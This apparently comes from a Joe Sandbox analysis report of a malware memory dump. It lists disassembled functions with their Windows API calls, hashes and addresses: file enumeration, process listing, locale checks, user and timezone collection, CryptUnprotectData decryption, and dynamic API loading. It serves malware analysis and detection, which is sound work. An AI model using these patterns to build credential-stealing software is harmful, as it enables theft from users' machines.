Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 004016D0 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425114,?,00401F2C,?,004251BC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425264), ref: 00401973
StrCmpCA.SHLWAPI(?,0042530C), ref: 00401989
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 657f193804f96e3c3a6dc68060da2d86a6a10ec5b63de908162390178167b45a
Instruction ID: fa2d6fe3b05614b5a30e4509255bbbb1abe281ca63e4f804ed0983082d36a12e
Opcode Fuzzy Hash: 657f193804f96e3c3a6dc68060da2d86a6a10ec5b63de908162390178167b45a
Instruction Fuzzy Hash: 681260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,014F2740), ref: 00419C2D
GetProcAddress.KERNEL32(74DD0000,014F2760), ref: 00419C45
GetProcAddress.KERNEL32(74DD0000,014FA7F8), ref: 00419C5E
GetProcAddress.KERNEL32(74DD0000,014FA7B0), ref: 00419C76
GetProcAddress.KERNEL32(74DD0000,014FA5B8), ref: 00419C8E
GetProcAddress.KERNEL32(74DD0000,014FA7C8), ref: 00419CA7
GetProcAddress.KERNEL32(74DD0000,014F3FA8), ref: 00419CBF
GetProcAddress.KERNEL32(74DD0000,014FA810), ref: 00419CD7
GetProcAddress.KERNEL32(74DD0000,014FA828), ref: 00419CF0
GetProcAddress.KERNEL32(74DD0000,014FA6A8), ref: 00419D08
GetProcAddress.KERNEL32(74DD0000,014FA5E8), ref: 00419D20
GetProcAddress.KERNEL32(74DD0000,014F2AA0), ref: 00419D39
GetProcAddress.KERNEL32(74DD0000,014F2B20), ref: 00419D51
GetProcAddress.KERNEL32(74DD0000,014F2BE0), ref: 00419D69
GetProcAddress.KERNEL32(74DD0000,014F2C20), ref: 00419D82
GetProcAddress.KERNEL32(74DD0000,014FA840), ref: 00419D9A
GetProcAddress.KERNEL32(74DD0000,014FA858), ref: 00419DB2
GetProcAddress.KERNEL32(74DD0000,014F4250), ref: 00419DCB
GetProcAddress.KERNEL32(74DD0000,014F2A80), ref: 00419DE3
GetProcAddress.KERNEL32(74DD0000,014FA570), ref: 00419DFB
GetProcAddress.KERNEL32(74DD0000,014FA6C0), ref: 00419E14
GetProcAddress.KERNEL32(74DD0000,014FA6F0), ref: 00419E2C
GetProcAddress.KERNEL32(74DD0000,014FA708), ref: 00419E44
GetProcAddress.KERNEL32(74DD0000,014F2A00), ref: 00419E5D
GetProcAddress.KERNEL32(74DD0000,014FA720), ref: 00419E75
GetProcAddress.KERNEL32(74DD0000,014FA8A0), ref: 00419E8D
GetProcAddress.KERNEL32(74DD0000,014FA8B8), ref: 00419EA6
GetProcAddress.KERNEL32(74DD0000,014FA8D0), ref: 00419EBE
GetProcAddress.KERNEL32(74DD0000,014FA8E8), ref: 00419ED6
GetProcAddress.KERNEL32(74DD0000,014FA930), ref: 00419EEF
GetProcAddress.KERNEL32(74DD0000,014FA870), ref: 00419F07
GetProcAddress.KERNEL32(74DD0000,014FA900), ref: 00419F1F
GetProcAddress.KERNEL32(74DD0000,014FA918), ref: 00419F38
GetProcAddress.KERNEL32(74DD0000,01500768), ref: 00419F50
GetProcAddress.KERNEL32(74DD0000,014FA888), ref: 00419F68
GetProcAddress.KERNEL32(74DD0000,01500C10), ref: 00419F81
GetProcAddress.KERNEL32(74DD0000,014F2A60), ref: 00419F99
GetProcAddress.KERNEL32(74DD0000,01500DA8), ref: 00419FB1
GetProcAddress.KERNEL32(74DD0000,014F2A40), ref: 00419FCA
GetProcAddress.KERNEL32(74DD0000,01500CD0), ref: 00419FE2
GetProcAddress.KERNEL32(74DD0000,01500B80), ref: 00419FFA
GetProcAddress.KERNEL32(74DD0000,014F2A20), ref: 0041A013
GetProcAddress.KERNEL32(74DD0000,014F2C00), ref: 0041A02B
LoadLibraryA.KERNEL32(01500B98,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(01500DD8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(01500C70,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
